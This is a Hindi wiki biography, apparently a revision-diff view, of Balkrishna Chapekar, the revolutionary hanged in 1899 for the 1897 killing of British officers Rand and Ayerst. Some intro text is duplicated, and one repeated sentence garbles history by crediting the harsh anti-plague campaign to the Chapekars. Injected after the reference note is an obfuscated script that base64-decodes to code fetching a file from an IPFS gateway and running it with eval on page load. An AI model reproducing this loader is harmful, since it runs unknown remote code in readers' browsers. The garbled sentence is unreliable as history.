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'''बालकृष्ण चापेकर''' ([[अंग्रेज़ी]]: ''Balkrishna Chapekar'', जन्म: [[1873]]; मृत्यु: [[9 फरवरी]], [[1899]]) [[भारतीय इतिहास]] में प्रसिद्ध स्वतंत्रता सेनानी थे। बालकृष्ण चापेकर [[बाल गंगाधर तिलक]] से अत्यधिक प्रभावित थे। इन्होंने अपने निष्ठुर व्यवहार के कारण प्लेग-विरोधी अभियान कार्यान्वित किया था।
 
=== परिचय ===
 
=== परिचय ===
 
बालकृष्ण चापेकर का जन्म [[1873]] में हुआ था। बालकृष्ण चित्तपवन परिवार से थे तथा इनका परिवार कोणकन से आया था। बालकृष्ण के पिता हरिपन्त एक पादरी थे तथा वे अनेक स्थानों पर जाकर [[कीर्तन]] एवं पौराणिक कथाएँ लोगों को सुनाते थे। दामोदर चापेकर तथा वासुदेव चापेकर इनके भाई थे। जिन्होंने अपने निष्ठुर व्यवहार के कारण प्लेग-विरोधी अभियान कार्यान्वित किया था।  
 
बालकृष्ण चापेकर का जन्म [[1873]] में हुआ था। बालकृष्ण चित्तपवन परिवार से थे तथा इनका परिवार कोणकन से आया था। बालकृष्ण के पिता हरिपन्त एक पादरी थे तथा वे अनेक स्थानों पर जाकर [[कीर्तन]] एवं पौराणिक कथाएँ लोगों को सुनाते थे। दामोदर चापेकर तथा वासुदेव चापेकर इनके भाई थे। जिन्होंने अपने निष्ठुर व्यवहार के कारण प्लेग-विरोधी अभियान कार्यान्वित किया था।  

07:28, 6 अप्रैल 2018 के समय का अवतरण

बालकृष्ण चापेकर
बालकृष्ण चापेकर
पूरा नाम बालकृष्ण चापेकर
जन्म 1873
जन्म भूमि पुणे, महाराष्ट्र
मृत्यु 9 फरवरी, 1899
कर्म भूमि भारत
कर्म-क्षेत्र स्वतंत्रता सेनानी एवं समाजसेवी
नागरिकता भारतीय
संबंधित लेख चापेकर बन्धु, दामोदर हरी चापेकर, वासुदेव चापेकर
अन्य जानकारी बालकृष्ण तथा दामोदर चापेकर ने जून, 1897 ई. में महारानी विक्टोरिया के 'हीरक जयन्ती' समारोह के अवसर पर दो ब्रिटिश अधिकारियों रैण्ड और ले. एम्हर्स्ट की हत्या कर दी थी।

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बालकृष्ण चापेकर (अंग्रेज़ी: Balkrishna Chapekar, जन्म: 1873; मृत्यु: 9 फरवरी, 1899) भारतीय इतिहास में प्रसिद्ध स्वतंत्रता सेनानी थे। बालकृष्ण चापेकर बाल गंगाधर तिलक से अत्यधिक प्रभावित थे। इन्होंने अपने निष्ठुर व्यवहार के कारण प्लेग-विरोधी अभियान कार्यान्वित किया था।

परिचय

बालकृष्ण चापेकर का जन्म 1873 में हुआ था। बालकृष्ण चित्तपवन परिवार से थे तथा इनका परिवार कोणकन से आया था। बालकृष्ण के पिता हरिपन्त एक पादरी थे तथा वे अनेक स्थानों पर जाकर कीर्तन एवं पौराणिक कथाएँ लोगों को सुनाते थे। दामोदर चापेकर तथा वासुदेव चापेकर इनके भाई थे। जिन्होंने अपने निष्ठुर व्यवहार के कारण प्लेग-विरोधी अभियान कार्यान्वित किया था।

मृत्यु

बालकृष्ण तथा दामोदर चापेकर ने जून, 1897 ई. में महारानी विक्टोरिया के 'हीरक जयन्ती' समारोह के अवसर पर दो ब्रिटिश अधिकारियों रैण्ड और ले. एम्हर्स्ट की हत्या कर दी थी। इस हत्याकाण्ड में बालकृष्ण को गिरफ़्तार कर 9 फरवरी, 1899 में फाँसी पर लटका दिया गया।[1]


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टीका टिप्पणी और संदर्भ

  1. महाराष्ट्र के क्रांतिकारी (हिंदी) क्रान्ति1857। अभिगमन तिथि: 15 फ़रवरी, 2017।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

बाहरी कड़ियाँ

संबंधित लेख

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